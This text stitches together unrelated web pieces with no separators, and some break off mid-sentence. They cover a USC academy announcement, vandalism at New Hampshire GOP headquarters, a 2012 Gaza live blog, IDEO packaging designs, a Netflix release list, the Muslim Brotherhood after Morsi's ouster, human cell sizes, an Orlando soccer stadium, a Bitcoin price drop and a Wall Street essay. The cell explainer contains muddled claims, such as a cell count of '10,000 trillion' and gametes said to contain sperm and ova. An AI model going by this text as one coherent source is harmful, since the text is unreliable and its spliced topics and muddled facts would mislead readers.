"The vision and generosity of Jimmy Iovine and Andre Young will profoundly influence the way all of us perceive and experience artistic media," USC President C. L. Max Nikias said in a statement. "We are committed to encouraging our students to use their intellectual and creative resources to effect change in all segments of society. Our goal is to ensure that the academy is the most collaborative educational program in the world."
The academy will accept its first class of 25 students in the fall of 2014.
Iovine is the co-founder of Inters |
wall of the Water Street building.Police said they have collected the rock to dust for fingerprints, and they're reaching out to nearby businesses for surveillance video."It seems to have an extreme view connotation, and these are the type of things that can be lightning rods for extreme behavior," Lt. Sean Ford said.The incident was first reported on WMUR.com Thursday morning.Party spokesman Patrick Hynes said the vandalism was discovered at about 8:30 a.m. when the staff entered the building. He said staffers washed the word “Nazis” off of the wall and, he said, Concord police were notified and took a report. Concord police were back on the scene at mid-day investigating.Hynes said the building was not broken into and there was no interior damage. No one was in the building at the time, he said.“The political rhetoric in the nation and here in New Hampshire has passed the point of being problematic,” Hynes said. “The tone and demeanor of our disagreements need to be brought to a more reasonable level.”Gov. Chris Sununu, in a statement to WMUR, said: “It is certainly disturbing and very sad to see vandalism with such hateful rhetoric. There is no place for that in our politics or society.”The state Democratic Party quickly condemned the vandalism, with party Chairman Raymond Buckley saying in a statement: "Vandalism is unacceptable, it's inexcusable and it's wrong. The New Hampshire Democratic Party wholly condemns this criminal action and hopes the perpetrator is held accountable. There is no place for that in our politics." "Vandalism is unacceptable, it's inexcusable, and it's wrong," NHDP executive director Amy Kennedy said. "This is not a political issue. The Democratic Party believes in good arguments and peaceful protest to express our thoughts and concerns, and violence and vandalism are never acceptable responses to anything."NHGOP Chairwoman Jeanie Forrester said that about a month ago, the party had a new security system installed because someone entered the building and walked to the second floor without saying anything to the staff.She said that deputy political director Joseph Sweeney approached the man, who said nothing and then ran out of the building.Forrester said she was concerned not only for her staff but also for 11 college and high school interns who work in the building.“We’ve got to tone down the rhetoric,” Forrester said. “What happened last night is really disappointing. Violence and vandalism are not acceptable. We can disagree on issues but it should not rise to the level of violence and vandalism.”Forrester said the state’s all-Democratic congressional delegation should join the NHDP in condemning the vandalism.Sen. Maggie Hassan did respond on Twitter, posting: "Vandalism at @NHGOP office is disgusting & has no place in our society. Perpetrator must be held accountable."And Sen. Jeanne Shaheen tweeted: "“Vandalism at @NHGOP is shameful & doesn't belong in our political rhetoric. We all need to stand together in the face of hate & bigotry."Forrester told WMUR: “We have a popular governor, a Republican Legislature and they are doing great things. Most of the state supports him so I think New Hampshire is headed in the right direction. This is not acceptable.”Forrester declined to guess what motivated the vandal or vandals. She said she did not know if it was prompted by President Donald Trump’s controversial remarks at his Tuesday press conference at Trump Tower.The president told reporters there that there was blame on both sides and also good people in both groups that clashed over the removal of a statue of Confederate Gen. Robert E. Lee in Charlottesville, Virginia, on Saturday. The riot left one person dead and dozens injured. “No matter what happened anywhere else in the country, we are doing good things in New Hampshire and there should have been no reason for this,” she said.Not the first timeThe Wednesday night-Thursday morning vandalism was not the first incident of its kind at NHGOP headquarters.In October 2013, the party reported that the words “WWJD HEALTHCARE FOR EVERYONE” were spray-painted on the same rear wall of the building.As Operation Pillar of Defense enters its fourth day, the Israel Defense Forces continues to prepare for a ground invasion of Gaza, drafting thousands of army reservists.
The IDF struck dozens of targets in the Gaza Strip overnight, including the office building of Hamas Prime Minister Ismail Haniyeh and a police building.
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After a relatively quiet night in Israel's south, rockets were fired Saturday morning toward Israel's south. On Friday, rockets that were fired toward Tel Aviv and Jerusalem exploded in open areas.
Since the beginning of Operation Pillar of Defense, 35 Palestinians were killed, some of them civilians. On the Israeli side three civilians were killed on Friday in a rocket attack.
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11:50 P.M. "The Israelis will commit a stupid mistake if they decide to launch a ground operation against Gaza," Hezbollah chief Hassan Nasrallah says during a Shi'ite religious ceremony in Beirut's southern suburbs. "The resistance in Gaza has acquired power, determination and planning capabilities," Nasrallah said, adding that the firepower possessed by Hamas militants was putting Israelis increasingly on edge. (DPA)
11:40 P.M. Egypt's President Mohammed Morsi says his government is in contact with both the Israelis and the Palestinians and that "there are some indications that there could be a ceasefire soon." Morsi made the comments at a joint news conference with Turkish Prime Minister Recep Tayyip Erdogan, but he stressed that there were still "no guarantees." (DPA)
11:30 P.M. Prime Minister Benjamin Netanyahu spoke with a number of foreign leaders over the weekend, telling them he would be prepared for an immediate, comprehensive ceasefire with Hamas if the latter agrees to halt all rocket fire from Gaza. The leaders asked Netanyahu to refrain from escalating the operation and to give Egyptian attempts to mediate a ceasefire a few days to play out. Netanyahu's office refused to comment. (Barak Ravid)
11:15 P.M. Prime Minister's Office denies media reports that an Israeli government representative has been dispatched to Cairo to conduct ceasefire talks. (Barak Ravid)
11:00 P.M. Fifty-seven rockets were intercepted on Saturday by Israel's Iron Dome air-defense system. Since the beginning of the operation in Gaza, 267 rockets have been intercepted. (Gili Cohen)
10:45 P.M. Hamas is preventing dozens of foreign nationals and journalist from leaving the Gaza Strip into Israel. According to one journalist stationed in Gaza, a group of 22 foreign journalists and Turkish nationals working at the Gaza Strip Red Crescent asked the Hamas authorities for permission to leave the coastal enclave but were denied. According to the reports of news agencies, Israel announced that the Erez Crossing would be open to foreign nationals crossing from Gaza to Israel. (Haaretz)
10:30 P.M. Arab ministers give their backing to Egyptian efforts to secure a truce that would end Israel's offensive on Gaza, according to a statement released after an Arab League meeting in Cairo. The statement condemned Israeli "aggression" and said Arab foreign ministers would form a delegation to travel to Gaza. Arab League chief Nabil Elaraby said he would lead the delegation, which will leave for Gaza in the next "one or two days." (Reuters)
9:08 P.M. Israel Police plans to conduct a sweep for Palestinians illegally residing in Israel on Sunday, out of concern that they could carry out attacks in revenge for violence in Gaza. (Haaretz)
9:05 P.M. Iron Dome intercepts three rockets over Ashdod. (Haaretz)
8:45 P.M. Hundreds protest in Tel Aviv's Habima Square against the operation in Gaza. In Ashdod, three rockets are intercepted by Iron Dome.
7:55 P.M. Interior Minister Eli Yishai on Israel's operation in Gaza: "The goal of the operation is to send Gaza back to the Middle Ages. Only then will Israel be calm for forty years."
7:38 P.M. Deputy national security adviser for strategic communication for U.S. President Barack Obama: "The Israelis are going to make decisions about their own military tactics and operations. What we want is the same thing the Israelis want, which is an end to the rocket fire coming out of Gaza. We wouldn’t comment on specific targeting choices by the Israelis other than to say that we of course always underscore the importance of avoiding civilian casualties. But the Israelis again will make judgments about their military operations." (Haaretz)
7:30 P.M. Tal Russo commander of the IDF Southern Command: "We are going to hit Hamas and all other Gaza terrorist organizations until we destroy Gaza's weapons arsenal and life returns to normal in Israel. We devastated their long range weapons arsenal, but there is still a lot of work left." (Haaretz)
7:05 P.M. Secretary-General of the Arab League Nabil Elaraby is expected to visit the Gaza Strip on Sunday accompanied by four Arab foreign ministers. (Haaretz)
6:45 P.M. According to Yossi Druker, head of Rafael's air defense division, the success rate of the Iron Dome anti-missile system since the start of the current round of hostilities is 85 percent, with the rate improving daily. Defense Minister Ehud Barak plans to propose Israel spend NIS 750 million on the purchase of an additional Iron Dome battery, in Sunday's government meeting. (Haaretz)
6:30 P.M. In a meeting Saturday with Egyptian intelligence officials, senior Hamas officials demanded Egypt ease the blockade on Gaza and Israel provide assurances that it will keep its side of a ceasefire and especially refrain from assassinating Hamas leaders in exchange for a ceasefire. Palestinian sources told Haaretz the Hamas was not asking Israel to lift the naval blockade on the coastal enclave rather that Egypt allow a free flow of goods through the Rafah Crossing. Cairo rejected this. (Haaretz)
6:15 P.M. IAF fires at the home of Senior Hamas commander A-Din Hazaz. It is still not known whether he was home at the time. (Haaretz)
6:10 P.M. Senior Hamas leader Osama Qadi attacked in a joint Shin Bet IDF operation, his condition is still unknown. (Haaretz)
5:32 P.M. Since beginning of Pillar of Defense, 246 rockets fired at residential areas were intercepted by Iron Dome batteries; 57 rockets exploded in Israel on Saturday, bringing the total of rockets exploding in Israel since beginning of operation to 410.
5:15 P.M. Iron Dome intercepts five rockets over Ashkelon (Yanir Yagna)
4:57 P.M. Rocket explodes in open field at the Bnei Shimon Regional council; Iron Dome intercepts rocket over Sderot (Yanir Yagna)
4:50 P.M. Rocket warning sirens sound in Be'er Sheva.
4:44 P.M. Rocket intercepted over Tel Aviv area. No wounded or damage reported.
Operation Pillar of Defense - day 5
4:35 P.M. Two explosions heard in Tel Aviv area after rocket warning sirens sound.
4:17 P.M. Minister Avi Dichter: Only a few rockets threaten Tel Aviv, unlike greater danger facing towns in Israel's south (Ilan Lior)
4:01 P.M. Iron Dome intercepts 2 rockets fired by Gaza militants at Be'er Sheva (Yanir Yagna)
4:00 P.M. Social protest leader Stav Shaffir: "The coming together of Israeli citizens in the face of security threats shows how strong our society is. But, without strong social standing there is no strong security standing."
3:28 P.M. 500 people marching in Nazareth parade organized by Hadash party to protest IDF operation in Gaza (Jack Khoury)
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2:53 P.M. 5 rockets fall in open spaces in the Eshkol Regional Council; none wounded (Yanir Yagna)
2:32 P.M. Iron Dome battery intercepts 4 Gaza rockets over southern city of Netivot (Yanir Yagna)
2:31 P.M. Meretz party chairwoman Zahava Gal-On warns of ground invasion of Gaza, saying that the Israeli leadership is "trying to drag us into another war of deception Experience shows that ground operations are an assurance for a bloody chaos." Gal-On says the Israeli government must set in motion negotiations with Hamas via Egyptian or international mediators. "This is the correct, effective way to guard the citizens of Israel" (Haaretz)
2:30 P.M. Turkish Prime Minister Recep Tayyip Erdogan, Qatar's Emir Hamad bin Khalifa Al Thani, and Egyptian President Mohammad Morsi are holding a meeting in Cairo. Hamas head Khaled Meshla and Islamic Jihad leader Ramdan Shalah (Avi Issacharoff)
2:13 P.M. Defense Minister Ehud Barak holds consultation meeting with IDF Chief of Staff Benny Gantz and army officials in Tel Aviv (Haaretz)
1:52 P.M. Hamas prevents foreign nationals, including 22 journalists, from leaving Gaza Strip, report says (DPA)
1:25 P.M. Iron dome battery intercepts 8 rockets over Be'er Sheva and Ashdod; two rockets explode in open areas near Be'er Sheva (Yanir Yagna)
1:25 P.M. Hamas' al-Aqtsa Brigades sign text messages sent to many Israelis, reading: "We will turn Gaza into a cemetery for your soldiers" (Haaretz)
1:24 P.M. Rocket hits a 10-story residential building in the center of Ashdod. Home Front Command seals the building to assess damages (Yanir Yagna)
1:13 P.M. Gaza militants shoot volley of rockets toward Ashdod, reports of rockets exploding in city (Yanir Yagna)
12:51 P.M. Senior Egyptian sources to Haaretz: Cairo leading intensive attempts to reach ceasefire between Hamas and Israel (Avi Issacharoff)
12:38 P.M. After meeting in IDF headquarters in Tel Aviv, army chief Benny Gantz says instructs air force to intensify aerial attacks on Gaza (Gili Cohen)
12:26 P.M. Rocket hits Be'er Tuvia house, destroying home of two elderly women, and damaging two others; none wounded (Chaim Levinson)
12:14 A.M. Gaza rocket hits a home in the Eshkol Regional Council, no casualties reported (Yanir Yagna)
12:08 A.M. Another rocket explodes in a town in the Eshkol Regional Council, damage done to vehicle (Yanir Yagna)
12:07 A.M. Seven rockets explode in open areas in Sha'ar Hanegev Regional Council and Eshkol Regional Council; one rocket explodes in a town in Eshkol, no casualties reported (Yanir Yagna)
11:56 A.M. Rocket barrage fired from Gaza toward Ashkelon area, Sha'ar Hanegev Regional Council and Eshkol Regional Council; at least three intercepted by Iron Dome battery (Yanir Yagna)
11:46 A.M. Tunisian Foreign Minister Rafik Abdesslem during Gaza visit: We will act immediately in the Arab League and the UN to stop Israeli aggression (Jack Khoury)
11:18 A.M. Iron Dome intercepts two rockets fired at Ashdod (Yanir Yagna)
11:11 A.M. Palestinians report 5 killed in IAF attack on Rafah, raising the reported death toll in Gaza to 39 since the beginning of Operation Pillar of Defense (Jack Khoury)
11:04 A.M. Iron Dome battery intercepts a rocket fired from Gaza toward Be'er Sheva; three rockets intercepted over Ashkelon (Yanir Yagna)
11:00 A.M. IDF: Since the beginning of Operation Pillar of Defense Out of 650 rockets fired into Israel 27 explode in residential areas; Iron Dome intercepted 219 rockets; IAF craft attack over 800 targets in Gaza; 79 launches fail, resulting in rockets exploding inside the Strip.
10:55 A.M. Three Israelis lightly wounded are IDF soldiers, IDF reports (GIli Cohen)
10:43 A.M. IDF deploys new Iron Dome anti-missile battery in the Tel Aviv area (Gili Cohen)
10:40 A.M. Rocket fired by Gaza militants toward Ashkelon intercepted by Iron Dome system (Yanir Yagna)
10:28 A.M. Three Israeli wounded after Gaza rocket explodes in the Eshkol Regional Council (Gili Cohen)
10:20 A.M. More than 20 rockets were fired Saturday morning from Gaza at Israel. Four rockets recently exploded in open areas in Eshkil Regional Council. Eight of the rockets were intercepted by an Iron Dome Dome battery (Yanir Yagna)
10:15 A.M. Defense Minister Ehud Barak tells U.S. Secretary of Defense Leon Panetta that Israel is determined to achieve Operation Pillar of Defense's goals (Haaretz)
9:50 A.M. A house in the Be'er Tuvia Regional Council suffers a direct rocket hit, no casualties reported, damage done to three houses (Chaim Levinson)
9:48 A.M. Iron Dome battery intercepts two rockets fired from Gaza toward Hazerim and Ashkelon (Yanir Yagna)
9:20 A.M. The IDF struck overnight Friday three government buildings in Gaza. The most significant assault was carried out at the Hamas government building in the center of Gaza, where Prime Minister Ismail Haniyeh's bureau is located.
Since Friday at 6 P.M., the IDF attacked 200 targets in the Gaza Strip, including some 120 underground rocket launch sites and 20 smuggling tunnels in Rafah. Ammunition stockpiles were also targeted during the night assaults. The IDF also says it hit several high-ranking Hamas officials.
Twelve Palestinians were killed overnight in the attacks. Several civilians were reported wounded.
A high-ranking source in the IDF says that despite the talk concerning a cease fire, Chief of Staff Lt. Gen. Benny Gantz ordered to prepare for a ground invasion (Gili Cohen)
9:15 A.M. IDF strikes Gaza squad preparing to launch rockets at Be'er Sheva (Gili Cohen)
9:08 A.M. Iron Dome battery intercepts Gaza rocket over Ashdod (Yanir Yagna)
8:40 A.M. Rocket explodes in the yard of a house near Ashdod, no reports of casualties. Second rocket explodes in open area (Yanir Yagna)
8:09 A.M. Rocket explodes in Bnei Shimon Regional Council. No casualties or damage reported (Yanir Yagna)
7:48 A.M. Iron Dome battery intercepts two rockets fired from Gaza toward Be'er Sheva and Ofaqim; five rockets explode in Eshkol Regional Council, one in Sha'ar Hanegev Regional Council (Yanir Yagna)
7:33 A.M. Israel Air Forces strike in Khan Younis kills Palestinian. 25 Palestinians wounded in aerial assault on a house of a top Hamas military official near Jabaliya in northern Gaza. Other strikes targeted Gaza police headquarters, government buildings, smuggling tunnels and a mosque in Rafah (Avi Issacharoff)
7:28 A.M. Deputy head of Hamas' political bureau, Moussa Abu Marzouk, says initial attempts are made to bring a temporary cease fire between Israel and Hamas. Abu Marzouk, who is currently in Cairo and is considered a key negotiator for Hamas, adds that such the sides are still far from reaching such agreement.
7:13 A.M. After a relatively quiet night, sirens sound in Ashkelon area, Sha'ar Hanegev Regional Council and Sdot Negev Regional Council. No reports of casualties or damage (Haaretz)
6:15 A.M. Anonymous activists launch an attack on Israeli websites, defacing and disabling many of them, including the political party Kadima's website. Activists claim they have wiped databases of the Foreign Ministry and Bank of Jerusalem clean. (Haaretz)
6:00 A.M. IDF reports it has targeted 85 more terror sites in the Gaza Strip over the past six hours. (Haaretz)
6:00 A.M. Israel Air Force strikes the office building of Gaza Prime Minister Ismail Haniyeh. The IDF says the bureau was also used as Hamas' headquarters. Three days ago the IDF bombed a generator near Haniya's house in Gaza (Gili Cohen)
4:00 A.M. Red Alert siren goes off in Ashkelon. (Army Radio)
1:55 A.M. U.S. President Barack Obama discussed the situation in Israel and Gaza with Prime Minister Benjamin Netanyahu on Friday, during which he reiterated U.S. support for Israel's right to defend itself. (Reuters)
For Friday's live updates, click here.
Israeli soldiers work on their APCs in a staging ground near the border with Gaza Strip, November 16, 2012. AP
An Iron Dome missile being launched in Tel Aviv to intercept a rocket fired from Gaza, Saturday, Nov. 17, 2012. AP
A Hebrew text message sent by Hamas militant to many Israelis on Nov. 17, 2012, reading, 'We will turn Gaza into a cemetery for your soldiers and turn Tel Aviv into a flame.'
skip -Browse through any design monograph or website and you’re bound to come across such terms as “tinkering,” “iterative thinking,” and “prototyping.” In the design world, it’s understood that great products tend to emerge from an inquisitive, let’s-see-what-happens attitude.
Ideo, the international design and ideas firm, knows the value of experimenting and so has set up an internal project, Designs On, to cultivate an open and active design culture.
Since 2008, Ideo has produced limited-edition runs of semi-annual themed pamphlets (they’re on their fifth iteration) that spotlight 15+ takes on loaded topics such as food, birth, and global warming. This year’s motif, packaging, may seem less urgent. But it’s a “potent theme,” underscores Ideo, with consequences uniquely its own.
The publications take on themes that are meme-like in length–simultaneously concise and open-ended. The ambiguity is intentional, says Designs On Director Blaise Bertrand. “What we know as designers,” he tells Co. Design, “is that as the world becomes more complex, we have to deal with that complexity and distill it into messages that explain things in simple, yet sensitive, ways.” The purpose of the project, he explains, is to visualize that ambiguity in a tangible way that can affect people’s lives.
To a large extent, packaging mediates our experience with the world, probably more than any of us realize. This year’s charrette elicited a vast array of ideas that explore how packaging design can assume more participatory or guiding roles in a product’s or object’s consumption. Bertrand and co. guided teams to develop ideas around two categories: Relationships and Tensions.
“Relationships” targets designs that concern themselves with how a user interfaces with a product as well as how that product reflexively imparts impressions of places, things, and sensations back to the user. “City Scent,” for example, constructs a tabletop skyline of souvenirs that store “olfactory profiles” of different metropoles. “Rice” gives the staple crop its due and champions it with universalist and easy-to-carry packaging. “Hygiene” is an elaborate container that conceals bulk purchases of toilet paper rolls.
Storytelling and humor are pillars of the experiment.
“Tensions” targets the opposite. It includes concepts that identify a disconnect between the user, the object, and their material context. These designs manifest points of decay or waste–and then locate the consumer’s role in that process. “Chopsticks” very literally puts a high price on the resources expended to manufacture the globe’s supply of disposable wooden chopsticks. “Mr. Carcass” accommodates the queasy cook who’d prefer to handle freshly butchered meat with gloved hands. “Light My Ire” does the opposite: It makes it nearly impossible for a smoker to indulge in his or her “nasty habit.”Coming Soon
Gentefied
Three Latinx cousins navigate their differences as they work to keep their grandfather's taco shop afloat in their rapidly gentrifying L.A. neighborhood.
Go! Go! Cory Carson
Join kid car Cory Carson on his adventures around the winding roads of childhood in Bumperton Hills! Based on the hit toy line Go! Go! Smart Wheels.
Dead to Me
A powerful friendship blossoms between a tightly wound widow and a free spirit with a shocking secret in this darkly comic series.
The I-Land
In this sci-fi adventure series, ten people wake up on a treacherous island with no memory and soon discover this world is not as it seems.
The Boy Who Harnessed the Wind
Inspired by a science book, 13-year-old William Kamkwamba builds a wind turbine to save his Malawian village from famine. Based on a true story.
Wizards: Tales of Arcadia
The trolls, aliens and wizards living in Arcadia face off in an apocalyptic battle for control of their magical world. Created by Guillermo del Toro.
Terrace House: Tokyo 2019-2020
As the eyes of the world turn to Tokyo for 2020, six new strangers will gather in this exciting city to live under the same roof.
Undercover
A major ecstasy producer living in luxury on the Dutch-Belgian border faces big changes when two undercover agents begin moving in on his operation.After only one year in power, during which its blatantly autocratic behavior alienated millions of Egyptians, the Muslim Brotherhood is back where it started. For six decades before the 2011 uprising, the group sat in the opposition, under fire from a military regime. This time, even after security forces unseated President Mohamed Morsi, detained top Muslim Brotherhood leaders and reportedly issued arrest warrants for about 300 more, shut down the group’s television station, closed some of its offices, and then killed 53 and wounded hundreds at a demonstration outside of the Republican Guard headquarters in Cairo, the Muslim Brotherhood does not seem ready to go quietly. It has called for an intifada and has repeatedly vowed escalate its protests until Morsi is reinstated.
To some extent, the Muslim Brotherhood’s determination to keep fighting is a product of how it views the events of the past week. Morsi, the organization argues, was an elected president with three more years left in his term. Therefore, it says, he should be allowed to complete that term and then face the voters in the next elections, whether he was a good president or not.
Historically, however, the Muslim Brotherhood has been willing to compromise, albeit temporarily, on such principles when faced with an insurmountable adversary. “The Muslim Brotherhood always has a ‘roof’ -- we don’t touch it, and play under it,” Abdel Galil al-Sharnouby, a former Brother who worked in the organization’s central headquarters from 2005 to 2011, told me in June. For example, Sharnouby explained, the roof prior to the 2011 uprising was President Hosni Mubarak. The group set internal limits on the extent to which its members could attack the Mubarak regime. So criticizing particular ministers was fine. But, with occasional exceptions, attacking Mubarak personally was not. Following Mubarak’s ouster, Sharnouby said, the roof became Washington, since the Muslim Brotherhood feared that directly confronting the United States on its key interests would invite a devastating response. This is why the Brotherhood never overturned the 1979Biology
Our bodies are complicated and endlessly fascinating. It is estimated that there are roughly 10,000 trillion cells in the average human body, although estimates vary hugely and as many as 50 trillion cells has also been given as an average.
The cell is one of our most basic structures and before we identify the largest and smallest cells in our bodies, let’s take a look at what a cell actually is.
There are many different types of cell in the human body. These include nerve, muscle, sperm and egg cells. To be a little more technical, there are two cell types that make up everything that lives on Earth.
These are called Prokaryotic and Eukaryotic. The former contain no ‘nucleus’ and the latter, like the cells in the human body, have a ‘nucleus’.
A human cell is held within a cell, or plasma, membrane. Inside the membrane are the cytoplasm and the nucleus. A cell is a complex structure and, if you want to know more about how a human cell looks and functions, this resource has vast amounts of information.
So, what does a cell do? Of course, it encloses the cytoplasm but it serves other functions. The cell forms what is known as a selective barrier. It allows certain matter in and keeps other, undesirable matter out.
An excellent interactive video about cells, cytoplasm and organelles can be found here. This site is especially useful if you have a child doing a project on human life.
We’ve established a rough idea of what a cell is and what they do and now it’s time to identify the answers to the question ‘Which are the largest and smallest cells in the human body?’
Both the largest and smallest cells in the human body fall into the category of ‘gametes’. A gamete is a reproductive cell that contains chromosomes, sperm and ova. The fusion of male and female gametes produces the fertilized egg that will eventually develop into new life.
Humans have two particular types of these gametes, the male sperm which is capable of movement (motile) and the female ovum which do not move (non-motile).
The largest cell in the human body is the female ovum or egg. Too put this into perspective, when we use the term largest, we’re not talking the size of hen’s eggs.
The human ovum is roughly one millimeter across and is only just visible to the naked eye. You can find out everything you ever wanted to know about the structure and function of the human ovum here.
This leaves us with the smallest cell in the human body, the partner of the ovum, the sperm. The male equivalent of the female gamete, commonly known as the sperm cell, or spermatozoon, is on 60 micrometers in length.
It is not visible to the naked eye, a microscope usually being used to examine them. Everything you might want to know about the sperm can be found here.
The answer to what are the largest and smallest cells in the human body is probably not one you were expecting, but step forward sperm cell and ovum.Orlando City Soccer unveiled the design for the new Major League Soccer Stadium that is being built downtown.
The new stadium will be located along Church Street and Terry Ave [GMap].
The details on the new stadium include:
19,500 approximate capacity
Full 360-degree lower bowl built below ground level with a unique 3-stand seating upper bowl
Full roof canopies to cover all seats on the east, west & north ends to amplify crowd noise and keep out rain and sun
Fan plaza on the south end leading into the Church Street Sports & Entertainment district
Underground infrastructure built-in to allow future seating expansion in the stadium corners
Multiple VIP hospitality areas
Club Lounge with views of the playing field, 38 luxury suites and an elevated 360-degree balcony-style bar within the scoreboard structure
Single-deck supporters section with standing rails and an open-air ‘pub-style’ area built on top of an elevated concourse located behind the seating section for use by supporter section members
Natural grass playing surface
Full-size lion statue prominently featured built on a rotating base to allow the statue to face the stadium field during Orlando City matches and towards Church Street during non-event times
“This is yet another great step in our journey to Major League Soccer,” said Orlando City President Phil Rawlins in a written statement. “We are developing a venue that will make soccer fans proud. We set out not just to build a stadium, but to push the envelope on design ideas and concepts. We took some of the best ideas from around the world and incorporated them into a venue which reflects our home in Florida.”
The stadium is scheduled to open prior to the 2016 Major League Soccer season.
Funding for the stadium has already been secured from the Club, State of Florida, City of Orlando, Orange County, Seminole County and Osceola County. The stadium will be owned and operated by the City of Orlando.
Here’s a look at the renderings provided today and their press release:
Orlando City SC Unveils Renderings for New Downtown Major League Soccer Stadium
New multi-purpose venue features multitude of unique design elements
Orlando, Fla.- Orlando City SC President & Founder Phil Rawlins, City of Orlando Mayor Buddy Dyer and Orange County Mayor Teresa Jacobs unveiled renderings for Orlando’s new downtown Major League Soccer (MLS) stadium to the public on Tuesday afternoon. The multi-purpose stadium features the following:
· Capacity: 19,500 total capacity (approximate)
· Seating Bowl: Full 360-degree lower bowl built below ground level with a unique 3-stand seating upper bowl.
· Roof Coverage: Full roof canopies that cover all seats to the front row on the east, west & north ends that are designed to enhance and amplify the crowd noise, as well as protect fans from the sun and rain.
· Fan Plaza Areas: Open and expansive fan plaza on the south end leading into the Church Street Sports & Entertainment Corridor, which will serve as a large common gathering area for fans during events.
· Future Expansion: Underground infrastructure built-in to allow for future seating expansion in the stadium corners.
· Hospitality & Fan Amenities: Multiple VIP hospitality areas, including a midfield Club Lounge with views of the playing field, up to 38 luxury suites and an elevated 360-degree balcony-style bar within the scoreboard structure.
· Supporters Section: Proposed single-deck supporters section featuring standing rails with an open-air ‘pub-style’ area built on top of an elevated concourse located immediately behind the seating section for use only by supporter section members.
· Playing Surface: Natural grass playing surface
· Public Art: Full-size lion statue prominently featured built on a rotating base to allow the statue to face the stadium field during Orlando City matches and towards Church Street during non-event times. Additional details on the lion statue will be announced in the future.
“This is yet another great step in our journey to Major League Soccer,” said Orlando City President Phil Rawlins. “We are developing a venue that will make soccer fans proud. We set out not just to build a stadium, but to push the envelope on design ideas and concepts. We took some of the best ideas from around the world and incorporated them into a venue which reflects our home in Florida.”
The new stadium is scheduled to open prior to the 2016 Major League Soccer season and will be located on Church Street, in a vibrant and expanding section of Orlando’s sports and entertainment district within the Parramore neighborhood. The stadium’s location is one block from the Amway Center – home of the Orlando Magic – allowing for synergy between the two facilities and increased activity in the surrounding area.
The stadium is being designed by Populous, a world-renowned architecture firm that has designed a range of MLS and international soccer stadiums such as Sporting Park, BBVA Compass Stadium and Wembley Stadium.
As previously announced by Orlando City in one of the more unique outreach ideas in Club history, all fans are encouraged to send their stadium design ideas to [email protected] or via Twitter using #NewOCSCStadium. Upon review of all fan submissions, the Club will select a group of respondents to participate in future small-group workshops with the stadium design team. Fan input will continue to be solicited throughout the design process, and the Club will release a compilation of fan ideas collected in the coming weeks.
Funding for the stadium has already been secured from the Club, State of Florida, City of Orlando, Orange County, Seminole County and Osceola County. The stadium will be owned and operated by the City of Orlando (via Orlando Venues, the same entity that owns and operates the Amway Center and Orlando Citrus Bowl).
During the construction of the new downtown stadium, Orlando City will play its entire inaugural Major League Soccer (MLS) season in 2015 at the Orlando Citrus Bowl, which is currently undergoing over $200 million in renovations. The Lions spent the previous three seasons at the Citrus Bowl, generating unprecedented success, including a minor-league championship event attendance record of over 20,000 fans at the 2013 USL PRO championship match.News The Horror! Bitcoin Price Hits Lows Not Seen Since Early December
Bitcoin price fell 23% into Friday as a broad shakedown of markets saw every cryptoasset in the top 100 sustain major losses.
Stop Me If You’ve Heard This One Before…
Repeating what has become a familiar cycle for holders this year, BTC shaved $6000 off its USD value to trade at an average $13,240 across major exchanges.
In the top 10 assets by market cap, Bitcoin Cash fared worse, its 34% crash the largest of the Bitcoin forks.
As is common during major Bitcoin corrections, altcoins – including Ripple – broadly copied loss-making behavior, falling 25-40% over the 24 hours to press time Friday. A previous growth spurt over this week had taken many to never-before-seen highs.
Commenting on the price action, the cryptocurrency industry reacted with a mixture of relief and apprehension, the lack of ‘safe haven’ assets making considerable losses all but unavoidable.
Finance editor and cryptocurrency commentator Holger Zschaepitz noted this week would be the “first stress test” for CBOE and CME Group’s Bitcoin futures trading, which launched December 10 and 18 respectively to booming markets.
First stress test for #Bitcoin Future as underlying drops like a stone! pic.twitter.com/vfydaJi4AW — Holger Zschaepitz (@Schuldensuehner) December 22, 2017
Bitcoin Price ‘Healthy Dip’ Continues
In a predictable move, mainstream media titles across the world called time on Bitcoin’s greatest peak so far, sounding the alarm of a bubble popping and further losses to come.
“At the heart of the matter was a frenzied demand for coins with limited supply has now led to unsophisticated investors holding the bag at the top,” Stephen Innes, head of trading for Asia Pacific at Oanda Corp meanwhile told Bloomberg in more nuanced observations.
September and May were both synonymous with |
may be emblazoned on plaques or in mission statements, the ethics of Wall Street are purely about winning at any cost.
If they didn’t know it going in, Wall Street employees quickly learn that even their company is an enemy. To the firm, employees are a cost to be minimized, or a producer to be exploited. You also learn that you must never show gratitude for your bonus. To appear satisfied with your compensation is to admit that they paid you more than they had to, so you must feign outrage no matter what. What happens to a culture that discourages gratitude?
But most people on Wall Street do not feel gratitude anyway. It does not matter that their compensation is enormous compared to the average American—that is not who a Wall Street worker is comparing themselves to. They are looking at the compensation of the top sales person, the top trader, or, at the very top, the CEO.
What this environment did to me is that I began to see everyone as a threat. From that idiot two cubicles down from me, to the moron on the other end of the phone (the client), to—more than anything—the faceless, imagined people on government assistance who I assumed (incorrectly) were what was causing such large percentages to disappear from my paycheck.
Many of the adverse reactions to OWS have been along the lines of, “They’re just jealous.” Of course the Wall Street critics think OWS is about envy. Envy is part and parcel of their daily lives. When you are living in a culture of envy, you see envy everywhere you go. Why wouldn’t you think envy is at the core of our movement, too?
The envy and hostility of Wall Street leads many to a common goal: to amass enough money so as to enact your revenge. This end goal is called fuck-you money.
At one point in my career, I was being recruited by a hedge fund. During the recruitment process, one of my interviewers frankly described the fund’s founder—his boss’s boss—as a “spoiled brat billionaire.” My interviewer related a story about a meeting between the hedge fund and an executive at a company the fund wanted to work with. At one point, the visiting executive made statements the fund founder didn’t like. The founder turned to the visitor and said, “So, you came here just to try and fuck me over?” The visitor quickly stormed out in a rage. But the founder wasn’t satisfied just yet. He followed the man out of the room, into the elevator, shouted the entire ride down, and then yelled at him in the lobby until he finally left the building. When the founder came back upstairs to greet his shaken employees, he said, invigorated and beaming, “Wasn’t that fun?!”
This is Wall Street’s equivalent of the American Dream: to earn enough money so that you can behave in a way that makes the very existence of other people irrelevant.
Despite the toxicity I’ve described, Wall Street is not a collection of 1 percenters maniacally laughing at the 99 percent they have crushed under their boot. No, Wall Street is far too self-absorbed to be concerned with the outside world unless it is forced to. But Wall Street is also, on the whole, a very unhappy place. While there is always the whisper that maybe you too can one day earn fuck-you money, at the end of a long day, sometimes all you take with you are your misguided feelings of self-righteousness.
I am far from the only Wall Street employee ever to feel chewed up by the system, even as I worked to perpetuate it. Another ex-Wall Street employee described feeling like a “hyper-specialized pawn” who “worked all the time with little control” of her life, and “little personal satisfaction at the end of the day.” I, too, felt manipulated, and why shouldn’t I? That was the game, after all. I felt overworked, demotivated, and I was clearly doing nothing to help the world.
